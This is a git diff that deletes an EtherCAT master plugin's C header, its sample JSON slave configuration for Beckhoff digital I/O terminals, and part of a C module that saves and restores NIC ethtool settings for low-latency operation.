ecat_plugin_state_t; - -/** - * @brief Per-slave status snapshot for monitoring - */ -typedef struct { - int position; - char name[ECAT_MAX_NAME_LEN]; - uint16_t al_state; /* EC_STATE_* from SOEM */ - uint16_t al_status_code; - uint32_t error_count; -} ecat_slave_status_t; - -/* - * ============================================================================= - * Cycle Diagnostics - * ============================================================================= - */ - -/** - * @brief Target wall-clock window for the time-based EWMA averages, in ns. - * - * Matches the editor's polling cadence so the displayed average stays - * stable between consecutive polls and tracks recent drift rather than - * decorrelating into "a random number between min and max". Each master - * derives its sample-count window N at start_single_master from - * `master.cycle_time_us` and stores it on `inst->avg_window`. The IEC - * scan-cycle tracker uses the same scheme; both systems read consistently. - * - * Per-cycle update: sum += sample - sum / N - * Read: avg = sum / N - * - * Stored as a sum (rather than the incremental `avg += (sample - avg)/N` - * shape) because at small deltas the latter rounds to zero and stalls. - */ -#define ECAT_AVG_TARGET_WINDOW_NS 2000000000LL - -/** - * @brief Per-interface NIC tuning state captured by ecat_iface_state_apply(). - * - * Holds the pre-EtherCAT NIC settings (ethtool coalescing + offloads) so - * `ecat_iface_state_revert()` can roll them back on graceful shutdown, - * and so the next runtime start can recover from a crash. Embedded in - * each `ecat_master_instance_t`. See ethercat_iface_state.h for the - * apply/revert API. - */ -typedef struct { - char iface[ECAT_IFNAME_MAX]; - - /* NIC tuning -- ethtool -C (coalescing) */ - bool coalescing_saved; - int rx_usecs; - int tx_usecs; - - /* NIC tuning -- ethtool -K (offloads) */ - bool offloads_saved; - bool gro; - bool gso; - bool tso; -} ecat_iface_state_t; - -/** - * @brief Per-cycle timing diagnostics - * - * Updated lock-free by the dedicated bus thread. Single-writer (bus - * thread), multi-reader (monitor thread, execute_command handlers). - * All fields are _Atomic so the writer never holds a mutex on the hot - * path; readers tolerate cross-field tearing because these are - * diagnostics, not values used in cross-field arithmetic. - * - * Two timing stories are tracked side by side: - * - * - bus_cycle_ns / *_bus_cycle_ns — work timing. Measures the - * EtherCAT bus exchange (ecx_send_processdata + - * ecx_receive_processdata). The IO memcpys around it are - * intentionally not measured (dozens of ns, dwarfed by the - * exchange). Answers "how long does each cycle's work take?". - * - * - period_ns / latency_ns — scheduling timing. period_ns - * is the observed gap between cycle starts (should equal the - * configured cycle on a healthy RT system). latency_ns is the - * wake-up scheduling delay: how late after its absolute deadline - * the bus thread actually started. Captured by the bus thread - * itself, so independent of the monitor's snapshot cadence. - * Answers "are we actually hitting our 1 ms cycle, and how late - * are we waking up?". - * - * The avg_*_ns_sum fields are time-based EWMA accumulators (see - * ECAT_AVG_TARGET_WINDOW_NS) — each holds an approximate sum of the last - * `inst->avg_window` samples. Readers divide by `avg_window` to recover - * the moving average. Window is computed from the configured cycle time - * at master start so the wall-clock smoothing stays consistent across - * different cycle rates. - */ -typedef struct { - _Atomic(uint64_t) cycle_count; /* total cycles executed */ - _Atomic(uint64_t) wkc_error_count; /* total WKC errors (wkc < expected) */ - _Atomic(uint64_t) noframe_count; /* total EC_NOFRAME (-1) errors */ - - /* Work timing -- bus exchange duration */ - _Atomic(uint64_t) bus_cycle_ns; /* last send+receive duration (ns) */ - _Atomic(uint64_t) max_bus_cycle_ns; /* worst-case send+receive */ - _Atomic(uint64_t) min_bus_cycle_ns; /* best-case send+receive */ - _Atomic(int64_t) avg_bus_cycle_ns_sum; /* EWMA accumulator; avg = sum/N */ - - /* Scheduling timing -- period and wake-up latency */ - _Atomic(uint64_t) period_ns; /* last observed cycle period (ns) */ - _Atomic(uint64_t) max_period_ns; /* worst-case period */ - _Atomic(uint64_t) min_period_ns; /* best-case period */ - _Atomic(int64_t) avg_period_ns_sum; /* EWMA accumulator; avg = sum/N */ - _Atomic(int64_t) latency_ns; /* last wake-up scheduling delay */ - _Atomic(int64_t) max_latency_ns; /* worst-case wake-up delay */ - _Atomic(int64_t) min_latency_ns; /* best-case wake-up delay */ - _Atomic(int64_t) avg_latency_ns_sum; /* EWMA accumulator; avg = sum/N */ -} ecat_cycle_diag_t; - -/* - * ============================================================================= - * I/O Channel Map and Transfer List Types - * ============================================================================= - * - * These types are defined here (rather than in ethercat_io.h) so that - * ecat_master_instance_t can embed them directly, avoiding a circular - * include between ethercat_config.h and ethercat_io.h. - */ - -/* Maximum entries in a single direction of the channel map */ -#define ECAT_MAX_MAP_ENTRIES 256 - -/** - * @brief IEC 61131-3 data size qualifiers - */ -typedef enum { - IEC_SIZE_BIT, /* X -- single bit */ - IEC_SIZE_BYTE, /* B -- 1 byte */ - IEC_SIZE_WORD, /* W -- 2 bytes */ - IEC_SIZE_DWORD, /* D -- 4 bytes */ - IEC_SIZE_LWORD /* L -- 8 bytes */ -} iec_size_t; - -/** - * @brief IEC 61131-3 direction qualifiers - */ -typedef enum { - IEC_DIR_INPUT, /* I -- physical input */ - IEC_DIR_OUTPUT /* Q -- physical output */ -} iec_dir_t; - -/** - * @brief Parsed IEC location -- result of parsing a string like "%IX0.3" - */ -typedef struct { - iec_dir_t direction; /* I or Q */ - iec_size_t size; /* X, B, W, D, L */ - int byte_index; /* byte address */ - int bit_index; /* bit within byte (X only, 0-7; -1 otherwise) */ -} iec_location_t; - -/** - * @brief Single entry in the channel map - */ -typedef struct { - /* IOmap side */ - size_t iomap_offset; /* byte offset from IOmap base */ - int iomap_bit_offset; /* bit offset within the byte (0-7) */ - uint8_t bit_length; /* channel width in bits */ - - /* PLC side */ - iec_size_t size; /* IEC size qualifier */ - int byte_index;/* byte index into PLC buffer */ - int bit_index; /* bit index (IEC_SIZE_BIT only, else -1) */ - ecat_data_type_t data_type;/* CoE data type from the PDO entry */ -} ecat_channel_map_entry_t; - -/** - * @brief Complete channel map -- separate arrays for inputs and outputs - */ -typedef struct { - ecat_channel_map_entry_t inputs[ECAT_MAX_MAP_ENTRIES]; - int input_count; - ecat_channel_map_entry_t outputs[ECAT_MAX_MAP_ENTRIES]; - int output_count; -} ecat_channel_map_t; - -/** - * @brief Single pre-resolved transfer entry - */ -typedef struct { - void *plc_ptr; /* direct pointer to the PLC variable */ - size_t iomap_offset; /* byte offset from IOmap base */ - int iomap_bit_offset; /* bit offset within the byte (0-7) */ - uint8_t byte_count; /* bytes to copy (1, 2, 4, or 8) */ - bool is_bit; /* true for IEC_SIZE_BIT channels */ - /* Journal coordinates for INPUT channels. Input data read from the bus - * is published into the PLC %I image through the lock-free journal (not - * poked directly via plc_ptr), so it is race-free against the IEC task - * threads without holding any image lock. Unused for output channels, - * which still read the %Q image directly through plc_ptr. */ - int journal_index; /* byte index into the input image */ - int journal_bit; /* bit index (bit channels only, else 0) */ -} ecat_transfer_entry_t; - -/** - * @brief Complete transfer list -- separate arrays for inputs and outputs - */ -typedef struct { - ecat_transfer_entry_t inputs[ECAT_MAX_MAP_ENTRIES]; - int input_count; - ecat_transfer_entry_t outputs[ECAT_MAX_MAP_ENTRIES]; - int output_count; -} ecat_transfer_list_t; - -/* - * ============================================================================= - * Multi-Master Instance Structures - * ============================================================================= - */ - -/** - * @brief Per-master instance state - * - * Encapsulates ALL state for a single EtherCAT master, enabling - * multiple independent masters on different network interfaces. - * Must be heap-allocated (too large for stack: ~7MB per instance - * due to the inline ecat_config_t slave array). - */ -typedef struct { - /* Identity */ - char name[ECAT_MAX_NAME_LEN]; /* master name from JSON config */ - - /* Configuration (parsed from JSON) */ - ecat_config_t config; - - /* SOEM context and IOmap — per-instance, NOT shared */ - ecx_contextt ecx_context; - uint8_t iomap[ECAT_IOMAP_SIZE]; - int soem_initialized; - size_t iomap_used_size; - - /* I/O channel map and transfer list (populated by start_loop) */ - ecat_channel_map_t channel_map; - ecat_transfer_list_t transfer_list; - - /* State machine */ - _Atomic(int) plugin_state; /* ecat_plugin_state_t */ - int expected_wkc; - int receive_timeout_us; - - /* Diagnostics (updated by the bus thread) */ - ecat_cycle_diag_t diag; - _Atomic(int) consecutive_wkc_errors; - _Atomic(int) recovery_attempts; - /* Counts ecx_writestate calls during recovery that returned wkc<=0 - * (request did not reach the slave -- link/cable issue, vs. slave - * reachable but rejecting the state). Distinguishes physical from - * configuration recovery failures in the operator UI. */ - _Atomic(uint32_t) recovery_writestate_failures; - uint64_t cycle_counter; - - /* Per-slave snapshot for queries via execute_command. - * - * The slave AL state lives in ecx_context.slavelist[], which is mutated - * by the monitor thread during recovery. Letting the JSON handlers read - * slavelist[] directly would force them to take soem_lock, which the PLC - * also tries to take on every cycle -- so each query would risk skipping - * a PLC cycle. - * - * Instead the monitor publishes a small snapshot of the slave fields it - * needs into slaves_snapshot[] under slaves_mutex (PRIO_INHERIT). JSON - * handlers take that mutex briefly; the PLC never touches it. */ - ecat_slave_status_t slaves_snapshot[ECAT_MAX_SLAVES]; - int slaves_snapshot_count; - pthread_mutex_t slaves_mutex; - -#if ECAT_ENABLE_MONITOR_THREAD - /* Monitor thread — per-instance. - * - * soem_lock serializes SOEM access between the PLC thread (cycle_start) - * and the monitor thread (state checks, recovery). The PLC thread uses - * pthread_mutex_trylock and skips the cycle if the monitor is holding - * the lock; the monitor takes the lock blockingly. The lock is - * initialized with PRIO_INHERIT to avoid priority inversion. - */ - pthread_t monitor_thread; - _Atomic(bool) monitor_running; - pthread_mutex_t soem_lock; - _Atomic(uint64_t) exchange_skips; -#endif - - /* Dedicated bus thread. Periodic at master.cycle_time_us, SCHED_FIFO - * at the configured task_priority. Drives the synchronous SOEM - * exchange independently of the IEC scan threads. Bus cycle stats - * live on `inst->diag` and reach the editor via the existing - * /api/discovery/ethercat/{runtime-status,diagnostics} routes. */ - pthread_t bus_thread; - _Atomic(bool) bus_running; - - /* Time-based EWMA window in samples; computed from cycle_time_us at - * start_single_master so the wall-clock smoothing window matches - * ECAT_AVG_TARGET_WINDOW_NS regardless of configured cycle rate. */ - int64_t avg_window; - - /* Per-iface external state (NIC tuning + IP-stack isolation). - * Populated by ecat_iface_state_apply(); consumed by - * ecat_iface_state_revert(). Includes its own iface name copy so - * revert can run after config has been freed. */ - ecat_iface_state_t iface_state; -} ecat_master_instance_t; - -/** - * @brief Parse all EtherCAT master configurations from a JSON file - * - * Iterates ALL entries in the JSON array (not just the first). - * Each entry with "protocol": "ETHERCAT" is parsed into a separate config. - * Also extracts the master name from each entry. - * - * @param config_path Path to the JSON configuration file - * @param instances Output array of master instances (only name + config are populated) - * @param max_masters Maximum number of masters to parse - * @param out_count Output: number of masters actually parsed - * @return ECAT_CONFIG_OK on success, negative error code on failure - */ -int ecat_config_parse_all(const char *config_path, - ecat_master_instance_t *instances, - int max_masters, - int *out_count); - -/** - * @brief Convert plugin state enum to human-readable string - * - * @param state Plugin state value - * @return Static string representation (e.g., "OPERATIONAL") - */ -const char *ecat_state_to_string(ecat_plugin_state_t state); - -/** - * @brief Get the size in bytes for a given EtherCAT data type - * - * Used for SDO write operations to determine the payload size. - * - * @param dt Data type enum value - * @return Size in bytes (0 for UNKNOWN/PAD, 1 for BOOL) - */ -int ecat_data_type_size(ecat_data_type_t dt); - -/** - * @brief Convert a data type enum to a human-readable name (e.g. "INT16"). - * - * Symmetric with ecat_state_to_string. Used in log messages so the - * structs no longer need to carry the original JSON string. - * - * @param dt Data type enum value - * @return Static string ("UNKNOWN" for invalid or unrecognized values) - */ -const char *ecat_data_type_to_string(ecat_data_type_t dt); - -#endif /* ETHERCAT_CONFIG_H */ diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_config.json b/core/src/drivers/plugins/native/ethercat/ethercat_config.json deleted file mode 100644 index b380a536..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_config.json +++ /dev/null @@ -1,797 +0,0 @@ -[ - { - "name": "ethercat_master", - "protocol": "ETHERCAT", - "config": { - "master": { - "interface": "ens37", - "cycle_time_us": 1000 - }, - "slaves": [ - { - "position": 1, - "name": "EK1100", - "type": "coupler", - "vendor_id": "0x2", - "product_code": "0x044c2c52", - "revision": "0x00120000", - "channels": [], - "sdo_configurations": [], - "rx_pdos": [], - "tx_pdos": [] - }, - { - "position": 2, - "name": "EL1809", - "type": "digital_input", - "vendor_id": "0x2", - "product_code": "0x07113052", - "revision": "0x00120000", - "channels": [ - { - "index": 0, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.0", - "pdo_index": "0x1a00", - "pdo_entry_index": "0x6000", - "pdo_entry_subindex": 1 - }, - { - "index": 1, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.1", - "pdo_index": "0x1a01", - "pdo_entry_index": "0x6010", - "pdo_entry_subindex": 1 - }, - { - "index": 2, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.2", - "pdo_index": "0x1a02", - "pdo_entry_index": "0x6020", - "pdo_entry_subindex": 1 - }, - { - "index": 3, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.3", - "pdo_index": "0x1a03", - "pdo_entry_index": "0x6030", - "pdo_entry_subindex": 1 - }, - { - "index": 4, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.4", - "pdo_index": "0x1a04", - "pdo_entry_index": "0x6040", - "pdo_entry_subindex": 1 - }, - { - "index": 5, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.5", - "pdo_index": "0x1a05", - "pdo_entry_index": "0x6050", - "pdo_entry_subindex": 1 - }, - { - "index": 6, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.6", - "pdo_index": "0x1a06", - "pdo_entry_index": "0x6060", - "pdo_entry_subindex": 1 - }, - { - "index": 7, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX0.7", - "pdo_index": "0x1a07", - "pdo_entry_index": "0x6070", - "pdo_entry_subindex": 1 - }, - { - "index": 8, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.0", - "pdo_index": "0x1a08", - "pdo_entry_index": "0x6080", - "pdo_entry_subindex": 1 - }, - { - "index": 9, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.1", - "pdo_index": "0x1a09", - "pdo_entry_index": "0x6090", - "pdo_entry_subindex": 1 - }, - { - "index": 10, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.2", - "pdo_index": "0x1a0a", - "pdo_entry_index": "0x60a0", - "pdo_entry_subindex": 1 - }, - { - "index": 11, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.3", - "pdo_index": "0x1a0b", - "pdo_entry_index": "0x60b0", - "pdo_entry_subindex": 1 - }, - { - "index": 12, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.4", - "pdo_index": "0x1a0c", - "pdo_entry_index": "0x60c0", - "pdo_entry_subindex": 1 - }, - { - "index": 13, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.5", - "pdo_index": "0x1a0d", - "pdo_entry_index": "0x60d0", - "pdo_entry_subindex": 1 - }, - { - "index": 14, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.6", - "pdo_index": "0x1a0e", - "pdo_entry_index": "0x60e0", - "pdo_entry_subindex": 1 - }, - { - "index": 15, - "name": "Input", - "type": "digital_input", - "bit_length": 1, - "iec_location": "%IX1.7", - "pdo_index": "0x1a0f", - "pdo_entry_index": "0x60f0", - "pdo_entry_subindex": 1 - } - ], - "sdo_configurations": [], - "rx_pdos": [], - "tx_pdos": [ - { - "index": "0x1a00", - "name": "Channel 1", - "entries": [ - { - "index": "0x6000", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a01", - "name": "Channel 2", - "entries": [ - { - "index": "0x6010", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a02", - "name": "Channel 3", - "entries": [ - { - "index": "0x6020", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a03", - "name": "Channel 4", - "entries": [ - { - "index": "0x6030", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a04", - "name": "Channel 5", - "entries": [ - { - "index": "0x6040", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a05", - "name": "Channel 6", - "entries": [ - { - "index": "0x6050", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a06", - "name": "Channel 7", - "entries": [ - { - "index": "0x6060", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a07", - "name": "Channel 8", - "entries": [ - { - "index": "0x6070", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a08", - "name": "Channel 9", - "entries": [ - { - "index": "0x6080", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a09", - "name": "Channel 10", - "entries": [ - { - "index": "0x6090", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0a", - "name": "Channel 11", - "entries": [ - { - "index": "0x60a0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0b", - "name": "Channel 12", - "entries": [ - { - "index": "0x60b0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0c", - "name": "Channel 13", - "entries": [ - { - "index": "0x60c0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0d", - "name": "Channel 14", - "entries": [ - { - "index": "0x60d0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0e", - "name": "Channel 15", - "entries": [ - { - "index": "0x60e0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1a0f", - "name": "Channel 16", - "entries": [ - { - "index": "0x60f0", - "subindex": 1, - "bit_length": 1, - "name": "Input", - "data_type": "BOOL" - } - ] - } - ] - }, - { - "position": 3, - "name": "EL2809", - "type": "digital_output", - "vendor_id": "0x2", - "product_code": "0x0AF93052", - "revision": "0x00120000", - "channels": [ - { - "index": 0, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.0", - "pdo_index": "0x1600", - "pdo_entry_index": "0x7000", - "pdo_entry_subindex": 1 - }, - { - "index": 1, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.1", - "pdo_index": "0x1601", - "pdo_entry_index": "0x7010", - "pdo_entry_subindex": 1 - }, - { - "index": 2, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.2", - "pdo_index": "0x1602", - "pdo_entry_index": "0x7020", - "pdo_entry_subindex": 1 - }, - { - "index": 3, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.3", - "pdo_index": "0x1603", - "pdo_entry_index": "0x7030", - "pdo_entry_subindex": 1 - }, - { - "index": 4, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.4", - "pdo_index": "0x1604", - "pdo_entry_index": "0x7040", - "pdo_entry_subindex": 1 - }, - { - "index": 5, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.5", - "pdo_index": "0x1605", - "pdo_entry_index": "0x7050", - "pdo_entry_subindex": 1 - }, - { - "index": 6, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.6", - "pdo_index": "0x1606", - "pdo_entry_index": "0x7060", - "pdo_entry_subindex": 1 - }, - { - "index": 7, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX0.7", - "pdo_index": "0x1607", - "pdo_entry_index": "0x7070", - "pdo_entry_subindex": 1 - }, - { - "index": 8, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.0", - "pdo_index": "0x1608", - "pdo_entry_index": "0x7080", - "pdo_entry_subindex": 1 - }, - { - "index": 9, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.1", - "pdo_index": "0x1609", - "pdo_entry_index": "0x7090", - "pdo_entry_subindex": 1 - }, - { - "index": 10, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.2", - "pdo_index": "0x160a", - "pdo_entry_index": "0x70a0", - "pdo_entry_subindex": 1 - }, - { - "index": 11, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.3", - "pdo_index": "0x160b", - "pdo_entry_index": "0x70b0", - "pdo_entry_subindex": 1 - }, - { - "index": 12, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.4", - "pdo_index": "0x160c", - "pdo_entry_index": "0x70c0", - "pdo_entry_subindex": 1 - }, - { - "index": 13, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.5", - "pdo_index": "0x160d", - "pdo_entry_index": "0x70d0", - "pdo_entry_subindex": 1 - }, - { - "index": 14, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.6", - "pdo_index": "0x160e", - "pdo_entry_index": "0x70e0", - "pdo_entry_subindex": 1 - }, - { - "index": 15, - "name": "Output", - "type": "digital_output", - "bit_length": 1, - "iec_location": "%QX1.7", - "pdo_index": "0x160f", - "pdo_entry_index": "0x70f0", - "pdo_entry_subindex": 1 - } - ], - "sdo_configurations": [], - "rx_pdos": [ - { - "index": "0x1600", - "name": "Channel 1", - "entries": [ - { - "index": "0x7000", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1601", - "name": "Channel 2", - "entries": [ - { - "index": "0x7010", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1602", - "name": "Channel 3", - "entries": [ - { - "index": "0x7020", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1603", - "name": "Channel 4", - "entries": [ - { - "index": "0x7030", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1604", - "name": "Channel 5", - "entries": [ - { - "index": "0x7040", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1605", - "name": "Channel 6", - "entries": [ - { - "index": "0x7050", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1606", - "name": "Channel 7", - "entries": [ - { - "index": "0x7060", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1607", - "name": "Channel 8", - "entries": [ - { - "index": "0x7070", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1608", - "name": "Channel 9", - "entries": [ - { - "index": "0x7080", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x1609", - "name": "Channel 10", - "entries": [ - { - "index": "0x7090", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160a", - "name": "Channel 11", - "entries": [ - { - "index": "0x70a0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160b", - "name": "Channel 12", - "entries": [ - { - "index": "0x70b0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160c", - "name": "Channel 13", - "entries": [ - { - "index": "0x70c0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160d", - "name": "Channel 14", - "entries": [ - { - "index": "0x70d0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160e", - "name": "Channel 15", - "entries": [ - { - "index": "0x70e0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - }, - { - "index": "0x160f", - "name": "Channel 16", - "entries": [ - { - "index": "0x70f0", - "subindex": 1, - "bit_length": 1, - "name": "Output", - "data_type": "BOOL" - } - ] - } - ], - "tx_pdos": [] - } - ], - "diagnostics": { - "log_connections": true, - "log_data_access": false, - "log_errors": true, - "max_log_entries": 10000, - "status_update_interval_ms": 500 - } - } - } -] diff --git a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c b/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c deleted file mode 100644 index 30b948aa..00000000 --- a/core/src/drivers/plugins/native/ethercat/ethercat_iface_state.c +++ /dev/null @@ -1,395 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_iface_state.c - * @brief Implementation of ethercat_iface_state.h. - * - * This module owns the NIC tuning the EtherCAT bus thread depends on: - * - ethtool -C (interrupt coalescing: rx-usecs / tx-usecs = 0) - * - ethtool -K (offload aggregation: GRO / GSO / TSO off) - * - * Both are runtime-only NIC settings (not persisted across reboots by - * the OS), so the only correctness concern is making sure a graceful - * shutdown — and a *crashed* runtime's next start — both restore them - * to the values that were in effect before the master was brought up. - * That's what the `/run/runtime/ecat_iface_.state` file is for: - * we write the captured "before" values there, and the next apply call - * checks for a leftover file and rolls back before re-applying. - * - * On non-Linux platforms apply/revert are no-ops; the SOEM raw socket - * is the only thing that interacts with the NIC there. - */ - -#include "ethercat_iface_state.h" -#include "ethercat_proc.h" -#include "ethercat_config.h" /* ecat_iface_validate */ - -#include -#include -#include - -#if !defined(__CYGWIN__) && !defined(_WIN32) - -#include -#include -#include -#include - -#define ECAT_IFACE_STATE_DIR "/run/runtime" -#define ECAT_IFACE_STATE_FMT ECAT_IFACE_STATE_DIR "/ecat_iface_%s.state" - -/* ------------------------------------------------------------------ */ -/* ethtool output parsing */ -/* ------------------------------------------------------------------ */ - -/* - * Look for ":" (not "-something:") and read the integer that - * follows. Avoids matching "rx-usecs-irq" when searching for "rx-usecs". - */ -static int parse_ethtool_int(const char *output, const char *key, int *value) -{ - size_t key_len = strlen(key); - const char *p = output; - while ((p = strstr(p, key)) != NULL) { - char next = p[key_len]; - if (next == ':' || next == ' ' || next == '\t') - break; - p += key_len; - } - if (!p) - return -1; - p += key_len; - while (*p == ':' || *p == ' ' || *p == '\t') - p++; - if (*p == '\0' || (*p != '-' && !isdigit((unsigned char)*p))) - return -1; - *value = atoi(p); - return 0; -} - -static int parse_ethtool_bool(const char *output, const char *key, int *value) -{ - const char *p = strstr(output, key); - if (!p) - return -1; - p += strlen(key); - while (*p == ':' || *p == ' ' || *p == '\t') - p++; - *value = (strncmp(p, "on", 2) == 0) ? 1 : 0; - return 0; -} - -/* ------------------------------------------------------------------ */ -/* NIC capture / apply / restore */ -/* ------------------------------------------------------------------ */ - -static void capture_nic_settings(ecat_iface_state_t *s, plugin_logger_t *logger) -{ - char output[2048]; - - /* Coalescing (-c) */ - { - char *argv[] = { "ethtool", "-c", (char *)s->iface, NULL }; - if (ecat_run_argv("ethtool", argv, output, sizeof(output)) == 0) { - int ok = 0; - ok += (parse_ethtool_int(output, "rx-usecs", &s->rx_usecs) == 0); - ok += (parse_ethtool_int(output, "tx-usecs", &s->tx_usecs) == 0); - if (ok > 0) { - s->coalescing_saved = true; - plugin_logger_info(logger, - "%s: saved coalescing (rx-usecs=%d, tx-usecs=%d)", - s->iface, s->rx_usecs, s->tx_usecs); - } - } - } - - /* Offloads (-k) */ - { - char *argv[] = { "ethtool", "-k", (char *)s->iface, NULL }; - if (ecat_run_argv("ethtool", argv, output, sizeof(output)) == 0) { - int gro = 0, gso = 0, tso = 0; - int ok = 0; - ok += (parse_ethtool_bool(output, "generic-receive-offload", &gro) == 0); - ok += (parse_ethtool_bool(output, "generic-segmentation-offload", &gso) == 0); - ok += (parse_ethtool_bool(output, "tcp-segmentation-offload", &tso) == 0); - if (ok > 0) { - s->offloads_saved = true; - s->gro = (gro != 0); - s->gso = (gso != 0); - s->tso = (tso != 0); - plugin_logger_info(logger, - "%s: saved offloads (gro=%s, gso=%s, tso=%s)", - s->iface, - s->gro ? "on" : "off", - s->gso ? "on" : "off", - s->tso ? "on" : "off"); - } - } - } -} - -static void apply_low_latency_nic(const char *iface, plugin_logger_t *logger) -{ - /* Disable IRQ coalescing -- deliver frames immediately */ - { - char *argv[] = { - "ethtool", "-C", (char *)iface, - "rx-usecs", "0", - "tx-usecs", "0", - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, - "%s: IRQ coalescing disabled (rx-usecs=0 tx-usecs=0)", iface); - } - } - - /* Disable receive offloads that batch/merge packets */ - { - char *argv[] = { - "ethtool", "-K", (char *)iface, - "gro", "off", - "gso", "off", - "tso", "off", - NULL - }; - if (ecat_run_argv("ethtool", argv, NULL, 0) == 0) { - plugin_logger_info(logger, "%s: GRO/GSO/TSO offloads disabled", iface); - } - } -} - -static void restore_nic_settings(const ecat_iface_state_t *s, plugin_logger_t *logger) -{ - if (s->coalescing_saved) { - char rx_str[16], tx_str[16]; - snprintf(rx_str, sizeof(rx_str), "%d", s->rx_usecs); - snprintf(tx_str, sizeof(tx_str), "%d", s->tx_usecs); - char *argv[] = { - "ethtool", "-C", (char *)s->iface, - "rx-usecs", rx_str, 